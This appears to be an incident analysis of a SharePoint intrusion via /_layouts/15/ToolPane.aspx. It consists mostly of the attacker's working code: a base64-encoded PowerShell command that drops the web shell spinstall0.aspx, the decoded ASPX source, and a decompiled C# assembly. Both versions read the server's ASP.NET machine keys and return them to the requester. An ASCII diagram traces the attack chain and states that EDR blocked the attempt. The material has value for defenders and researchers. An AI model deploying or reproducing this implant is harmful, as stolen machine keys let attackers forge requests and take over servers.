powershell  -EncodedCommand $base64String = "PCVAIEltcG9ydCBOYW1lc3BhY2U9IlN5c3RlbS5EaWFnbm9zdGljcyIgJT4NCjwlQCBJbXBvcnQgTmFtZXNwYWNlPSJTeXN0ZW0uSU8iICU+DQo8c2NyaXB0IHJ1bmF0PSJzZXJ2ZXIiIGxhbmd1YWdlPSJjIyIgQ09ERVBBR0U9IjY1MDAxIj4NCiAgICBwdWJsaWMgdm9pZCBQYWdlX2xvYWQoKQ0KICAgIHsNCgkJdmFyIHN5ID0gU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkuTG9hZCgiU3lzdGVtLldlYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EiKTsNCiAgICAgICAgdmFyIG1rdCA9IHN5LkdldFR5cGUoIlN5c3RlbS5XZWIuQ29uZmlndXJhdGlvbi5NYWNoaW5lS2V5U2VjdGlvbiIpOw0KICAgICAgICB2YXIgZ2FjID0gbWt0LkdldE1ldGhvZCgiR2V0QXBwbGljYXRpb25Db25maWciLCBTeXN0ZW0uUmVmbGVjdGlvbi5CaW5kaW5nRmxhZ3MuU3RhdGljIHwgU3lzdGVtLlJlZmxlY3Rpb24uQmluZGluZ0ZsYWdzLk5vblB1YmxpYyk7DQogICAgICAgIHZhciBjZyA9IChTeXN0ZW0uV2ViLkNvbmZpZ3VyYXRpb24uTWFjaGluZUtleVNlY3Rpb24pZ2FjLkludm9rZShudWxsLCBuZXcgb2JqZWN0WzBdKTsNCiAgICAgICAgUmVzcG9uc2UuV3JpdGUoY2cuVmFsaWRhdGlvbktleSsifCIrY2cuVmFsaWRhdGlvbisifCIrY2cuRGVjcnlwdGlvbktleSsifCIrY2cuRGVjcnlwdGlvbisifCIrY2cuQ29tcGF0aWJpbGl0eU1vZGUpOw0KICAgIH0NCjwvc2NyaXB0Pg=="
$destinationFile = "C:\PROGRA~1\COMMON~1\MICROS~1\WEBSER~1\16\TEMPLATE\LAYOUTS\spinstall0.aspx"
$decodedBytes = [System.Convert]::FromBase64String($base64String)
$decodedContent = [System.Text.Encoding]::UTF8.GetString($decodedBytes)
$decodedContent | Set-Content -Path $destinationFile -ErrorAction Stop

<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
    public void Page_load()
    {
		var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
        var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
        var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
        var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
        Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
    }
</script>

+--------------------+
|  External Attacker |
+--------------------+
          |
          |  POST request
          |  URL: /_layouts/15/ToolPane.aspx
          |  Time: 2025-07-18 09:37:54 CDT
          |  Source IP: 107.191.58.76
          v
+---------------------+
|    IIS (w3wp.exe)   |
|  Handles the POST   |
+---------------------+
          |
          |  Spawns cmd.exe
          v
+---------------------+
|      cmd.exe        |
|  Executes encoded   |
|   PowerShell blob   |
+---------------------+
          |
          |  Decodes & runs PowerShell
          v
+-----------------------------+
|   powershell.exe (EDR hit) |
|   Writes file:             |
|   C:\...\spinstall0.aspx   |
+-----------------------------+
          |
          |  .aspx file contains:
          |  - C# code to extract:
          |    * ValidationKey
          |    * Validation
          |    * DecryptionKey
          |    * Decryption
          |    * CompatibilityMode
          |
          |  --> Attempt blocked by security controls
          v
+----------------------------------------------+
| If the implant had been successfully         |
| deployed, the keys would be accessible       |
| via a GET request to spinstall0.aspx         |
+----------------------------------------------+

// Main, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// Program
using System;
using System.Reflection;
using System.Web;
using System.Web.Configuration;

public class Program
{
	public Program()
	{
		try
		{
			HttpContext current = HttpContext.Current;
			try
			{
				Assembly assembly = Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
				Type type = assembly.GetType("System.Web.Configuration.MachineKeySection");
				MethodInfo method = type.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
				MachineKeySection machineKeySection = (MachineKeySection)method.Invoke(null, new object[0]);
				current.Response.Write(machineKeySection.ValidationKey + "|" + machineKeySection.Validation.ToString() + "|" + machineKeySection.DecryptionKey + "|" + machineKeySection.Decryption + "|" + machineKeySection.CompatibilityMode);
			}
			catch (Exception ex)
			{
				current.Response.Write(ex.Message);
			}
			current.Response.End();
		}
		catch (Exception)
		{
		}
	}

	private static void Main(string[] args)
	{
	}
}